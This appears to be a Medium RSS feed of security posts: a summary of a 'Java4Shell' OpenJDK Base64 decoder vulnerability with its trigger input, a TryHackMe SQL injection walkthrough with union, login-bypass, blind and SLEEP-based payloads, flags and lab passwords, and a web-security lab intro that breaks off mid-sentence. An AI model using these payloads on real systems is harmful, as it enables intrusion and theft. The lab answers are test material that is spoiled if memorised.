<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Virendra Kumar on Medium]]></title>
        <description><![CDATA[Stories by Virendra Kumar on Medium]]></description>
        <link>https://medium.com/@cyberleelawat?source=rss-a4a8276ca827------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*nogPHiVWncAcQxF_0KY4Qg.png</url>
            <title>Stories by Virendra Kumar on Medium</title>
            <link>https://medium.com/@cyberleelawat?source=rss-a4a8276ca827------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 22:59:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyberleelawat/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Java4Shell: A Critical Memory Corruption Vulnerability in OpenJDK’s Base64 Decoder]]></title>
            <link>https://cyberleelawat.medium.com/java4shell-a-critical-memory-corruption-vulnerability-in-openjdks-base64-decoder-79992684b348?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/79992684b348</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[cyberleelawat]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Thu, 19 Nov 2026 19:31:29 GMT</pubDate>
            <atom:updated>2026-11-19T19:31:29.152Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*II5i6F4EN04swlesx6jgNw.png" /><figcaption>Java4Shell</figcaption></figure><h3>How a seemingly harmless Base64 input could potentially lead to memory corruption and Remote Code Execution in widely deployed Java applications</h3><h3>About the Author</h3><p><strong>Virendra Kumar (Mr. Leelawat)</strong> is the CEO and Founder of <strong>Cyber Leelawat</strong>. He is a Certified Cyber Security Trainer, cybersecurity enthusiast, penetration tester, security researcher, and bug bounty hunter, with a strong interest in application security, vulnerability research, and offensive security.</p><p>His certifications and professional credentials include <strong>CEH, CNSP, DPDPA, CCEP, CCNA, CRTOM, CAPIE, CPPS, and CCSC</strong>.</p><p>Through <strong>Cyber Leelawat</strong>, he aims to contribute to cybersecurity awareness, education, research, and practical security knowledge.</p><blockquote>Website : <a href="http://www.cyberleelawat.in/">www.cyberleelawat.in</a></blockquote><h3>Introduction</h3><p>Following the disclosure of PHP2Shell, researchers at Calif decided to investigate a technology that is more familiar to a much broader audience: <strong>Java</strong>.</p><p>Their latest disclosure, <strong>Java4Shell (CVE-2026–114938)</strong>, describes a critical memory-corruption vulnerability in the Base64 decoder of OpenJDK. The vulnerability reportedly carries a <strong>CVSS 4.0 score of 9.2 out of 10</strong>, placing it in the Critical severity category.</p><p>Java is one of the most widely used programming languages in the world. It powers enterprise applications, banking systems, cloud infrastructure, authentication platforms, telecommunications, and numerous other critical services.</p><p>A vulnerability in a fundamental component of the Java runtime can therefore have implications far beyond a single application.</p><p>Java4Shell demonstrates how a performance optimization inside a commonly used data-processing function could potentially become a serious security weakness.</p><h3>What Is Java4Shell?</h3><p>Java4Shell is a memory-corruption vulnerability reportedly affecting OpenJDK’s Base64 decoder.</p><p>Base64 is a common encoding mechanism used to represent binary data in an ASCII-compatible format. It is widely used across modern software systems for transmitting, storing, and processing data.</p><p>Common use cases include:</p><ul><li>Authentication and authorization workflows</li><li>File uploads and downloads</li><li>API communication</li><li>Network data transmission</li><li>Token processing</li><li>Data serialization and application configuration</li></ul><p>To improve decoding performance, OpenJDK uses specialized implementations that take advantage of modern CPU instructions.</p><p>According to the researchers, a bug in the optimized implementation allows specially crafted malformed input to trigger memory corruption.</p><p>Depending on the application’s implementation and the surrounding execution environment, the consequences may include:</p><ul><li>Sensitive memory disclosure</li><li>Application crashes</li><li>Memory corruption</li><li>Potential Remote Code Execution (RCE)</li></ul><p>The actual impact depends on how the vulnerable functionality is exposed and how attacker-controlled data reaches the decoder.</p><h3>A Simple Input With Potentially Serious Consequences</h3><p>According to the disclosure, the vulnerability can be triggered using a relatively simple input consisting of 64 A characters followed by an equals sign.</p><pre>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</pre><p>For older OpenJDK 17 versions, the researchers reported that the corresponding trigger involves 128 A characters followed by =.</p><p>At first glance, this input may appear harmless.</p><p>However, the issue is not related to the Base64 encoding format itself. It lies in how the optimized decoder processes malformed input under specific conditions.</p><p>This highlights an important security principle:</p><p><strong>Even simple data-processing functionality can become a critical attack surface when its underlying implementation contains memory-unsafe code.</strong></p><h3>Why Java’s Memory Safety Did Not Prevent This</h3><p>Java is widely recognized for its memory-safety features.</p><p>Unlike languages such as C and C++, Java generally prevents developers from directly accessing arbitrary memory locations. The JVM manages memory allocation, garbage collection, and object access, helping protect applications against many traditional memory-corruption vulnerabilities.</p><p>However, Java’s memory-safety guarantees do not automatically extend to every component of the runtime.</p><p>OpenJDK contains components implemented using lower-level technologies, including:</p><ul><li>C</li><li>C++</li><li>Native code</li><li>Assembly</li><li>Platform-specific optimizations</li></ul><p>These components may operate outside the protections developers typically associate with Java.</p><p>In this case, the vulnerability reportedly exists in optimized assembly code used by OpenJDK’s Base64 decoder.</p><p>This is an important reminder that <strong>a memory-safe programming language can still depend on unsafe components — and those components can introduce vulnerabilities into otherwise memory-safe applications.</strong></p><h3>Technical Overview: How the Vulnerability Works</h3><p>OpenJDK uses specialized CPU instructions to accelerate Base64 decoding on supported x86–64 processors.</p><p>The researchers identified an issue in the optimized implementation responsible for processing the final portion of the input.</p><p>The vulnerability reportedly involves incorrect handling of malformed input and an invalid calculation of the output length.</p><p>The process can be summarized as follows:</p><ol><li>OpenJDK allocates an output array based on the expected decoded data size.</li><li>The optimized decoder processes the initial portion of the input.</li><li>The final characters are handled incorrectly.</li><li>An invalid output-length calculation occurs.</li><li>The decoder performs a memory write beyond the allocated output buffer.</li><li>Memory belonging to neighboring objects may become corrupted.</li></ol><p>According to the disclosure, the crafted input can result in an out-of-bounds memory write.</p><p>For the reported input, the researchers describe a scenario involving a 50-byte output array, where the faulty operation results in a write extending beyond the allocated buffer.</p><p>Although Java may eventually reject the malformed input, the critical issue is that memory corruption may occur before the validation failure is fully handled.</p><p><strong>Rejecting malicious input after unsafe processing does not undo memory corruption that has already occurred.</strong></p><h3>Potential Impact: Remote Code Execution Across Popular Java Applications</h3><p>The researchers reported successfully demonstrating Remote Code Execution in multiple widely deployed Java applications.</p><p>Their testing included applications reportedly vulnerable under default configurations.</p><h3>Pre-Authentication Remote Code Execution</h3><p>The following applications were reportedly demonstrated as vulnerable to pre-authentication RCE:</p><ul><li>Keycloak</li><li>Atlassian Jira</li><li>Atlassian Confluence</li><li>JFrog Artifactory</li><li>Jenkins</li><li>PingFederate</li></ul><p>Pre-authentication vulnerabilities are particularly concerning because an attacker may not need valid credentials before attempting to exploit the vulnerable functionality.</p><h3>Post-Authentication Remote Code Execution</h3><p>The researchers also reported demonstrations involving post-authentication RCE in:</p><ul><li>Apache Kafka Broker</li><li>Apache Solr</li><li>Elasticsearch</li><li>Gerrit</li><li>Spinnaker</li></ul><p>In these scenarios, authentication may be required before the vulnerable functionality can be reached.</p><p>The researchers emphasized that these lists are not exhaustive.</p><p>They also reportedly demonstrated the issue in sample applications built using popular Java frameworks, including Spring Boot and Apache Struts.</p><p>This suggests that the potential attack surface may extend beyond the specific products included in the initial testing.</p><h3>Why Application Features Matter</h3><p>A vulnerable Java runtime does not necessarily mean every Java application is automatically exploitable.</p><p>The practical impact depends on whether an application exposes the vulnerable Base64 decoding functionality through an accessible execution path.</p><p>For example, an application might process Base64 data during:</p><ul><li>User authentication</li><li>File uploads</li><li>API requests</li><li>Token processing</li><li>Data parsing</li><li>Network communication</li></ul><p>If attacker-controlled input reaches the vulnerable decoder, the application may expose a potential exploitation path.</p><p>This is why vulnerability analysis should consider more than the software version.</p><p>Security researchers and defenders should also examine:</p><ul><li>How input is received</li><li>Which decoder implementation is used</li><li>Whether optimized code is active</li><li>Whether authentication is required</li><li>What memory-corruption consequences are possible</li><li>Whether the vulnerable functionality is remotely reachable</li></ul><h3>Could Java Client Applications Also Be Affected?</h3><p>The researchers also reported receiving a client-side exploit demonstration from security researcher <strong>samczsun</strong>.</p><p>According to the disclosure, a Java application that establishes a TLS connection to a malicious server could potentially be compromised — even if the application does not expose any network service of its own.</p><p>This is an important distinction.</p><p>Security teams often prioritize externally exposed servers, but client-side software can also process untrusted data received from remote systems.</p><p>Applications that initiate outbound connections may therefore deserve attention during vulnerability assessments.</p><h3>AI and the Rise of the Centaur Hacker</h3><p>One of the most interesting aspects of this disclosure is the role of Artificial Intelligence in vulnerability discovery and exploit development.</p><p>The researchers described their approach using the concept of a <strong>Centaur Hacker</strong> — a combination of human expertise and AI capabilities.</p><p>According to the researchers, their team member Quang Luong discovered the vulnerability in approximately one hour and developed the first working exploit within another two hours.</p><p>They also stated that the total token cost was less than $200.</p><p>AI was not simply given a vulnerability and asked to produce an exploit automatically.</p><p>Instead, the researchers invested effort in building pipelines, strategies, and supporting infrastructure. AI agents were then directed to use those systems for initial exploitation and further analysis.</p><p>Some later exploitation chains reportedly required significantly less manual intervention.</p><p>This illustrates an emerging trend in cybersecurity:</p><p><strong>AI can accelerate vulnerability research, but human expertise remains essential for directing the process, validating results, understanding context, and making decisions.</strong></p><p>The most effective approach may not be fully autonomous AI or traditional human-only research.</p><p>It may be a combination of both.</p><h3>The Bigger Problem: Software Complexity</h3><p>Java4Shell also raises a broader question about software architecture and the growing complexity of modern software systems.</p><p>Java is used across an enormous range of industries and applications. Over time, its ecosystem has accumulated features, optimizations, compatibility layers, and platform-specific implementations.</p><p>Many of these additions provide genuine benefits.</p><p>However, every additional component also increases the amount of code that must be maintained, reviewed, tested, and secured.</p><p>The problem becomes particularly significant when a feature is included in a widely distributed runtime but is only needed by a relatively small number of applications.</p><p>An optimization designed to improve performance for workloads processing enormous amounts of Base64 data may also exist in applications that rarely decode more than a few hundred bytes.</p><p>Those applications inherit the complexity — and potentially the security risks — even when they receive little benefit from the optimization.</p><p>This can be viewed as a <strong>tragedy of the commons in software</strong>: individual features may appear reasonable, but their combined complexity creates risks for everyone.</p><h3>Reducing the Attack Surface Through Simplicity</h3><p>One of the strongest security principles is reducing the attack surface.</p><p>Organizations frequently focus on patching vulnerabilities, monitoring threats, deploying security tools, and hardening infrastructure.</p><p>But there is another important question:</p><p><strong>Do we actually need all the code running in our systems?</strong></p><p>Unused services, outdated protocols, unnecessary libraries, legacy features, and excessive functionality can increase risk.</p><p>The researchers pointed to their previous discovery of Squidbleed, a vulnerability reportedly associated with Squid’s FTP functionality — a protocol that many modern environments may no longer require.</p><p>Removing unnecessary functionality is not always straightforward. Legacy systems often contain hidden dependencies, undocumented workflows, or features that are used unexpectedly.</p><p>This is where AI-assisted code analysis could potentially help.</p><p>AI tools may assist developers and security researchers in identifying:</p><ul><li>Unused code</li><li>Dead code paths</li><li>Unnecessary features</li><li>Legacy dependencies</li><li>Excessive complexity</li><li>Potentially redundant optimizations</li></ul><p>The researchers refer to this philosophy as <strong>Vibe-Uncoding</strong>: identifying what a system actually needs and removing unnecessary components to reduce complexity and attack surface.</p><h3>What Security Teams Should Take Away</h3><p>Java4Shell highlights several important lessons for developers, security engineers, and infrastructure teams.</p><h3>1. Memory Safety Is Not Absolute</h3><p>Using a memory-safe language does not guarantee that the entire application stack is free from memory-corruption vulnerabilities.</p><p>Runtime implementations, native libraries, assembly optimizations, and external components must also be considered.</p><h3>2. Trusted Data-Processing Components Can Become Attack Surfaces</h3><p>Base64 decoding is often treated as routine functionality.</p><p>However, when it processes attacker-controlled data, even a basic decoder can become security-critical.</p><h3>3. Runtime Vulnerabilities Can Have Broad Impact</h3><p>A vulnerability in a widely used runtime may affect many applications simultaneously.</p><p>Security teams should assess the underlying runtime — not only the application framework or product name.</p><h3>4. Authentication Does Not Eliminate Risk</h3><p>Some exploitation scenarios may be pre-authentication, while others may require an authenticated user.</p><p>Both categories need to be evaluated according to their actual exposure and business impact.</p><h3>5. Attack Surface Reduction Matters</h3><p>Removing unnecessary components, features, protocols, and dependencies can reduce the opportunities available to attackers.</p><h3>6. AI Is Changing Security Research</h3><p>AI can significantly accelerate code analysis and exploit research.</p><p>However, effective use requires human expertise, validation, direction, and an understanding of the target environment.</p><h3>Final Thoughts</h3><p>Java4Shell demonstrates how a low-level implementation detail inside a widely used runtime can potentially become a high-impact security vulnerability.</p><p>A simple Base64 decoder, optimized for performance using specialized processor instructions, reportedly became the source of memory corruption capable of affecting applications across a wide range of industries.</p><p>The broader lesson is not simply that Java has a vulnerability.</p><p>It is that modern software systems are built on layers of complexity, and security risks can emerge in components that developers rarely think about.</p><p>As AI continues to accelerate software development and security research, perhaps the next major security improvement will not come only from building better tools, adding more features, or writing more code.</p><p>It may come from understanding our systems deeply enough to remove what we no longer need.</p><p><strong>In cybersecurity, sometimes the safest code is the code that doesn’t exist.</strong></p><h3>References</h3><ul><li><strong>Original Java4Shell Disclosure:</strong> <a href="https://calif.io/java4shell/">https://calif.io/java4shell/</a></li><li><strong>PHP2Shell Research:</strong> <a href="https://calif.io/php2shell">https://calif.io/php2shell</a></li><li><strong>Squidbleed Research:</strong> <a href="https://calif.io/research/squidbleed">https://calif.io/research/squidbleed</a></li><li><strong>Java4Shell PoC Repository:</strong> <a href="https://github.com/ikow/java4shell-poc">https://github.com/ikow/java4shell-poc</a></li><li><strong>CVE:</strong> CVE-2026–114938</li></ul><p><em>Disclaimer: This article is intended for educational and cybersecurity awareness purposes. The vulnerability details and reported impact are based on the referenced disclosure. Organizations should verify affected versions and remediation guidance through official vendor advisories.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79992684b348" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection Introduction TryHackme Walkthrough]]></title>
            <link>https://cyberleelawat.medium.com/sql-injection-introduction-tryhackme-walkthrough-5fca9e1b3e78?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fca9e1b3e78</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cyberleelawat]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Thu, 28 May 2026 12:33:47 GMT</pubDate>
            <atom:updated>2026-05-28T12:33:47.861Z</atom:updated>
            <content:encoded><![CDATA[<p>Learn how to detect and exploit SQL Injection vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uwh5mFjQuBOywoeWPf32Zg.png" /></figure><p><strong>Origination:-</strong> Cyber Leelawat</p><p><strong>Website :-</strong> <a href="http://www.cyberleelawat.in/">www.cyberleelawat.in</a></p><h3>What is SQL?</h3><p>SQL (Structured Query Language) is a standard language for managing and manipulating <strong>relational databases</strong>. It allows users to create, read, update, and delete <strong>data </strong>stored in a <strong>database</strong>.</p><h3>What is SQL Injection?</h3><p>SQLi (SQL Injection) is a web application attack database server that exploits improper input validation to execute malicious database queries. Attackers can steal, delete, or modify sensitive data and bypass authentication. As one of the oldest and most damaging web vulnerabilities, SQLi remains a serious threat to web security.</p><h3>What does that mean?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C81gDnMfwBbU5Y3D0MC6Tg.jpeg" /></figure><p>If you look at the image carefully, you will notice that in the username field, there isn’t a username; instead, there is an SQL command that deletes the table <strong>“test_logins.” </strong>We call this type<strong> Blind SQL Injection</strong></p><h3>There are three types of SQLi:</h3><h3>Error-based SQL Injection, Union-Based SQL Injection, and Blind SQL Injection.</h3><h3>1. Union-Based SQLI:</h3><p>Union-based SQL Injection exploits the <strong>UNION operator</strong> to retrieve <strong>additional data</strong> from the database. If a web application is vulnerable, attackers can use UNION to combine a legitimate query with a <strong>malicious query</strong>, extracting sensitive data.</p><h3>2. Blind SQLI:</h3><p>Blind SQL Injection occurs when a web application is <strong>vulnerable to SQLi</strong>, but <strong>it does not return error messages</strong> or display query results. Instead, attackers must rely on <strong>page behavior (Boolean-based) or response time (Time-Based)</strong> to extract data.</p><h3>3. Error-based SQLi:</h3><p>Error-based SQL Injection is a technique where attackers <strong>trigger database errors</strong> to gain information about the database structure, tables, columns, or even data.</p><p>This works because <strong>some web applications display detailed database error messages</strong> when a query fails. These messages <strong>leak valuable information</strong> to the attacker.</p><h3>Task 2 SQL Essentials for Injection</h3><p>Q1. What SQL statement combines results from two SELECT queries into one result set?</p><p><strong><em>Ans. </em></strong><em>: UNION</em></p><p>Q2. What built-in database contains metadata about all other databases, tables, and columns in MySQL?</p><p><strong><em>Ans.</em></strong><em> : information_schema</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*beHtMPmpbLLRLD6hDkMnRA.png" /></figure><h3>Task 3 What is SQL Injection?</h3><p>Q1. What character is commonly used as a first test when probing for SQL Injection?</p><p><strong>Ans.</strong> : <em>‘</em></p><p>Q2. What type of SQL Injection returns results directly in the web page?</p><p><strong>Ans.</strong> : <em>In-Band</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xJ3KmD82u_VQuaV9fqbPVg.png" /></figure><h3><strong>Task 4 In-Band SQL Injection</strong></h3><p>Q1. What subtype of In-Band SQLi relies on database error messages to extract information?</p><p><strong>Ans.</strong> : <em>Error-Based</em></p><p>Q2. What SQL function returns the name of the current database in MySQL?</p><p><strong>Ans.</strong> : <em>database()</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rzmb33i0fsRcPj6bOAcxog.png" /></figure><h3>Task 5 Blind SQL Injection: Authentication Bypass</h3><p>Q1. What boolean condition is commonly injected to make a WHERE clause always evaluate to true?</p><p><strong>Ans.</strong> : <em>1=1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gsFTRYuP8mkvn6guyX8DBg.png" /></figure><h3>Task 6 Blind SQL Injection: Boolean and Time-Based</h3><p>Q1. What MySQL function causes a deliberate time delay in a query’s response?</p><p><strong>Ans.</strong> : <em>SLEEP</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nxkk1o0f3-RKyTv6f8_lJw.png" /></figure><h3>Task 7 Out-of-Band SQL Injection</h3><p>Q1. What protocol beginning with D is commonly used to exfiltrate data in Out-of-Band SQLi?</p><p><strong>Ans.</strong> : <em>DNS</em></p><p>Q2. What MSSQL stored procedure can be used to trigger DNS lookups for data exfiltration?</p><p><strong>Ans.</strong> : <em>xp_dirtree</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l-SMjg2cyxHhuCkvIPiQtA.png" /></figure><h3>Task 8 Remediation and Prevention</h3><p>Q1. What is the primary and most effective defence against SQL Injection?</p><p><strong>Ans.</strong> : <em>Prepared Statements</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZfGPdfEHylJQNsQ52kJihA.png" /></figure><h3>Task 9 Practical: SQL Injection</h3><p>What is the UNION operation?</p><p>The <strong>UNION operator</strong> in SQL is used to <strong>combine the results</strong> of two or more SELECT statements <strong>into a single result set</strong>.</p><p><strong>1. We need to know how many columns are in the table</strong></p><pre>UNION select 1,2,....;</pre><p>We try until no error occurs.</p><p>Now we know the number of columns is 3</p><p><strong>2. We need the first query to produce no results to get around that. This can be done simply by changing the article ID from 1 to 0.</strong></p><pre>id = 0 UNION select 1,2,3;</pre><p><strong>3. Now we can see the article is just made up of the result. We can start using these returned values to retrieve more useful information. First, we’ll get the database name</strong>.</p><pre>UNION select 1,2,database();</pre><p>After that, we will be able to see the database name “sqli_one”.</p><p><strong>3. Now we need to get the table name; we can do that using method group_concat() ‘gets the specified column’, and information_schema database ‘t contains information about all the databases and tables the user has access to it’</strong></p><pre>UNION select 1,2,group_concat(table_name) form infromation_schema .tables <br>WHERE table_schema = &#39;sqli_one&#39;;</pre><p>4. Now we can go get the password of (martin).</p><pre>UNION SELECT 1,2,group_concat(password) FROM staff_users<br> where username = &#39;martin&#39;;</pre><p><em>THM{SQL_INJECTION_3840}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rq4E5SiC_MhNolMbuAEmeA.png" /></figure><p>We can notice that in this task, that inject will happen in the text field, not in the URL</p><p>If we can get a better look at the SQL Query, we will notice it can easily be bypassed.</p><pre>select * from users where usernaem = &#39;&#39; and password =&#39;&#39;limit1;</pre><p>To bypass it</p><pre>select * from users where username = &#39; &#39; OR 1=1 --and password = &#39;&#39;;</pre><p>We will go to the username field and put the additional part of the command.</p><pre>&#39; or 1=1 ;--</pre><blockquote><em>THM{SQL_INJECTION_9581}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-CyY8hflU14g-1g1mgMXtQ.png" /></figure><p>We will do the same stapes like task 5 but with little difference</p><ol><li>Know how many columns in the table</li><li>get the database name, but this time, you will notice the response will be not with the database name will be true or false to solve this problem</li></ol><pre>UNION select 1,2,3 where database() like &#39;s%&#39;;--</pre><p>Yes, you will try every letter to see if it is in the database name or not. After you try, you will get the name <strong>(sqli_three)</strong></p><p>3. Like Task 5, you will go and get the table neme with the same Technique</p><p>4. The last step will guess the username and password</p><pre>UNION select 1,2,3 from users where username like &#39;a%&#39;;--<br>UNION select 1,2,3 from users where username = &#39;admin&#39; and password like &#39;1%&#39;;--</pre><p>The Username = admin/ password = 3845</p><blockquote><em>THM{SQL_INJECTION_1093}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CYjHDy6t48pabiWTFkYeMQ.png" /></figure><p>We will use the same Technique as the previous tasks, but the first step will be different</p><p>The response will be you ok and this is a problem because you will not be able to ensure if the SQL command is run or not, so we will use the SLEEP() method on this task</p><pre>UNION select SLEEP(5),2;--</pre><p>With this Technique, we will be able to know if the SQL command has executed or not. If it runs, the server will delay 5 seconds</p><p>After doing the same steps but adding the SLEEP() method on it you will be able to get the user name and the password.</p><p>Database name = sqli_four</p><p>table name = users</p><p>Username = admin</p><p>password =4961</p><blockquote><em>THM{SQL_INJECTION_MASTER}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3h4SwZg2sIyD8eW6GYtt5w.png" /></figure><p>I’ve successfully completed the <strong>SQL Injection Introduction</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2zm4s4rDR8ZHVMjUvy_sFQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fca9e1b3e78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Application Security TryHackMe Walkthrough]]></title>
            <link>https://cyberleelawat.medium.com/web-application-security-tryhackme-walkthrough-4d4a2c2ca666?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d4a2c2ca666</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[cyberleelawat]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Sun, 01 Mar 2026 20:27:36 GMT</pubDate>
            <atom:updated>2026-03-01T20:27:36.606Z</atom:updated>
            <content:encoded><![CDATA[<p>Learn about web applications and explore some of their common security issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ROrP1ZZZXKTdJcfr7SeZQ.png" /></figure><p><strong>Task 1 Introduction</strong></p><p>Every one of us uses different programs on our computers. Generally speaking, programs run on our computers, using our computer’s processing power and storage. Moreover, to use a program, we need to install it first. What if we can use any program without installation?</p><p>A web application is like a “program” that we can use without installation as long as we have a modern standard web browser, such as Firefox, Safari, or Chrome. Consequently, instead of installing every program you need, you only need to browse the related page. The following are some examples of web applications:</p><ul><li>Webmail such as Tutanota, Protonmail, Outlook, and Gmail</li><li>Online office suites such as Microsoft Office 365 (Word, Excel, and PowerPoint), Google Drive (Docs, Sheets, and Slides), and Zoho Office (Writer, Sheet, and Show)</li><li>Online shopping such as Amazon.com, AliExpress, and Etsy</li></ul><p>Thousands more examples provide a myriad of services. Other examples include online banking, money transfer, weather forecast, and social media.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F1q82Bmu0pYsbfuG.png" /></figure><p>The idea of a web application is that it is a program running on a remote server. A server refers to a computer system running continuously to “serve” the clients. In this case, the server will run a specific type of program that can be accessed by web browsers.</p><p>Consider an online shopping application. The web application will read the data about the products and their details from a database server. A <em>database</em> is used to store information in an organized way. Examples include information about products, customers, and invoices. A <em>database server</em> is responsible for many functions, including reading, searching, and writing to the database. The online shopping web application might need more than one database to access, for example:</p><ul><li>Products database: This database contains details about the products, such as name, images, specifications, and price.</li><li>Customers database: It contains all details related to customers, such as name, address, email, and phone number.</li><li>Sales database: We expect to see what each customer has purchased and how they paid in this database.</li></ul><p>We can already see the amount of information stored in any online shopping system. Suppose an attacker manages to exploit (hack) the web application and steal the customers’ database. In that case, this will lead to a significant loss for the company and its customers.</p><p>The image below shows searching for an item on an online shopping site. In the simplest version, the search will take four steps:</p><ol><li>The user enters an item name or related keywords in the search field. The web browser sends the search keyword(s) to the online shopping web application.</li><li>The web application queries (searches) the products database for the submitted keywords.</li><li>The product database returns the search results matching the provided keywords to the web application.</li><li>The web application formats the results as a friendly web page and returns them to the user.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PLJSP2dMWeBNc8JG.png" /></figure><p>From the user’s perspective, they will only access an elegant online shop where all the technical infrastructure is hidden.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JljOzd0NubYMZgqM.png" /></figure><p>Many companies offer bug bounty programs. A bug bounty program allows the company to offer a reward for anyone who discovers a security vulnerability (weakness) in the company’s systems. The main condition is that the found vulnerability is within the bug bounty scope and rules. Among many others, Google, Microsoft, and Facebook have bug bounty programs. Discovering a bug can earn you from a few hundred USD to tens of thousands of USD, depending on the severity of the vulnerability, i.e., the weakness you discovered.</p><p><strong>Answer the questions below</strong></p><p>1.1 What do you need to access a web application?</p><p>Answer: <strong>Browser</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ETvg8DssSfmnn7MB8HsbiQ.png" /></figure><h3>Task 2 Web Application Security Risks</h3><p>Let’s say that you want to buy an item from an online shop. There are certain functions that you would expect to be able to do on this web application. Most straightforwardly, the online order might go as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qENwOlprz98qKZXP.png" /></figure><p>There are a few main categories of common attacks against web applications. Consider the following steps and related attacks.</p><ul><li>Log in at the website: The attacker can try to discover the password by trying many words. The attacker would use a long list of passwords with an automated tool to test them against the login page.</li><li>Search for the product: The attacker can attempt to breach the system by adding specific characters and codes to the search term. The attacker’s objective is for the target system to return data it should not or execute a program it should not.</li><li>Provide payment details: The attacker would check if the payment details are sent in cleartext or using weak encryption. Encryption refers to making the data unreadable without knowing the secret key or password.</li></ul><p>We cannot cover everything, but we will present a few formal categories from OWASP Top Ten. Don’t worry if these techniques sound alien to you; TryHackMe walks you through each vulnerability.</p><h3>Identification and Authentication Failure</h3><p>Identification refers to the ability to identify a user uniquely. In contrast, authentication refers to the ability to prove that the user is whom they claim to be. The online shop must confirm the user’s identity and authenticate them before they can use the system. However, this step is prone to different types of weaknesses. Example weaknesses include:</p><ul><li>Allowing the attacker to use brute force, i.e., try many passwords, usually using automated tools, to find valid login credentials.</li><li>Allowing the user to choose a weak password. A weak password is usually easy to guess.</li><li>Storing the users’ passwords in plain text. If the attacker manages to read the file containing the passwords, we don’t want them to be able to learn the stored password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gqnz7lpRqlsDQNia.png" /></figure><h3>Broken Access Control</h3><p>Access control ensures that each user can only access files (documents, images, etc.) related to their role or work. For example, you don’t want someone in the marketing department to access (read) the finance department’s documents. Example vulnerabilities related to access control include:</p><ul><li>Failing to apply <em>the principle of the least privilege</em> and giving users more access permissions than they need. For example, an online customer should be able to view the prices of the items, but they should not be able to change them.</li><li>Being able to view or modify someone else’s account by using its unique identifier. For example, you don’t want one bank client to be able to view the transactions of another client.</li><li>Being able to browse pages that require authentication (logging in) as an unauthenticated user. For example, we cannot let anyone view the webmail before logging in.</li></ul><h3>Injection</h3><p>An injection attack refers to a vulnerability in the web application where the user can insert malicious code as part of their input. One cause of this vulnerability is the lack of proper validation and sanitization of the user’s input.</p><h3>Cryptographic Failures</h3><p>This category refers to the failures related to cryptography. Cryptography focuses on the processes of encryption and decryption of data. Encryption scrambles cleartext into ciphertext, which should be gibberish to anyone who does not have the secret key to decrypt it. In other words, encryption ensures that no one can read the data without knowing the secret key. Decryption converts the ciphertext back into the original cleartext using the secret key. Examples of cryptographic failures include:</p><ul><li>Sending sensitive data in clear text, for example, using HTTP instead of HTTPS. HTTP is the protocol used to access the web, while HTTPS is the secure version of HTTP. Others can read everything you send over HTTP, but not 